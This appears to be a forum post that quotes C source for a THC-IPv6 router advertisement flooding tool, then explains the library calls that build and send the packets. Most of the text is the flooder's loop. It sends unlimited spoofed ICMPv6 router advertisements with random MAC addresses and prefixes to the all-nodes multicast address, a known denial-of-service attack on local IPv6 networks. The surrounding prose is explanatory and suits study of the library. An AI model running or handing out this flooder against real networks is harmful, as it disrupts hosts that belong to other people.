unsigned char *dst = thc_resolve6("FF02::1"), *dstmac = thc_get_multicast_mac(dst);
int size, mtu, i;
unsigned char *pkt = NULL;
int pkt_len = 0;
int rawmode = 0;
int count = 0;
if (argc < 2 || argc > 3 || strncmp(argv[1], "-h", 2) == 0)
help(argv[0]);
if (strcmp(argv[1], "-r") == 0) {
thc_ipv6_rawmode(1);
rawmode = 1;
argv++;
argc--;
}
srand(time(NULL) + getpid());
setvbuf(stdout, NULL, _IONBF, 0);
interface = argv[1];
mtu = 1500;
size = 64;
ip6 = malloc(16);
routerip6 = malloc(16);
route6 = malloc(16);
mac[0] = 0x00;
mac[1] = 0x18;
memset(ip6, 0, 16);
ip6[0] = 0xfe;
ip6[1] = 0x80;
ip6[8] = 0x02;
ip6[9] = mac[1];
ip6[11] = 0xff;
ip6[12] = 0xfe;
routerip6[0] = 0x2a;
routerip6[1] = 0x01;
routerip6[15] = 0x01;
memset(route6 + 8, 0, 8);
printf("Starting to flood network with router advertisements on %s
(Press Control-C to end, a dot is printed for every 100 packet):\n", interface);
while (1) {
for (i = 2; i < 6; i++)
mac[i] = rand() % 256;
for (i = 2; i < 8; i++)
routerip6[i] = rand() % 256;
// ip6[9] = mac[1];
ip6[10] = mac[2];
ip6[13] = mac[3];
ip6[14] = mac[4];
ip6[15] = mac[5];
memcpy(route6, routerip6, 8);
count++;
memset(buf, 0, sizeof(buf));
buf[1] = 250;
buf[5] = 30;
buf[8] = 5;
buf[9] = 1;
buf[12] = mtu / 16777216;
buf[13] = (mtu % 16777216) / 65536;
buf[14] = (mtu % 65536) / 256;
buf[15] = mtu % 256;
buf[16] = 3;
buf[17] = 4;
buf[18] = size;
buf[19] = 128 + 64 + 32;
memset(&buf[20], 255, 8);
memcpy(&buf[32], route6, 16);
buf[48] = 1;
buf[49] = 1;
memcpy(&buf[50], mac6, 6);
if ((pkt = thc_create_ipv6(interface, PREFER_LINK, &pkt_len, ip6, dst, 255, 0, 0, 0, 0)) == NULL)
return -1;
if (thc_add_icmp6(pkt, &pkt_len, ICMP6_ROUTERADV, 0, 0xff08ffff, buf, sizeof(buf), 0) < 0)
return -1;
if (thc_generate_and_send_pkt(interface, mac6, dstmac, pkt, &pkt_len) < 0) {
fprintf(stderr, "Error sending packet no. %d on interface %s: ", count, interface);
perror("");
return -1;
}
pkt = thc_destroy_packet(pkt);
usleep(1);
if (count % 100 == 0)
printf(".");
}
return 0;
}
THC-IPv6 is a set of tools used to attack inherent protocol weaknesses of IPV6.The project is a part of the THC, namely The Hacker's Choice. You can find the detail about this project:
http://www.thc.org/thc-ipv6/
The THC-IPv6 not only provides tools for attacking but also a handy library.The library can be used in developing your own applications, e.g. create a specific IPv6 packet.
http://www.thc.org/thc-ipv6/README
Basicly, thc_create_ipv6() is used to create a IPv6 packet with no extension headers.
thc_add_icmp6() will add the icmpv6 header to this packet and thc_generate_and_send_pkt() will send out this packet to wire. More detail about THC-IPv6 library pls refer to the README.
You did not really look - the functions are defined in thc-ipv6.h, the code for them is in thc-ipv6-lib.c
The function thc_create_ipv6() creates the basic IPv6 packet and is required before any other packet function of the library.
Then the_add_icmp6() adds an ICMPv6 header to the IPv6 packet.
There are more thc_add_* functions, e.g. for UDP, TCP or extension headers.
Finally thc_generate_and_send_pkt() will build the packet and send it to the network.
See the README.
The smurf6.c file is an easy example on how to use the library.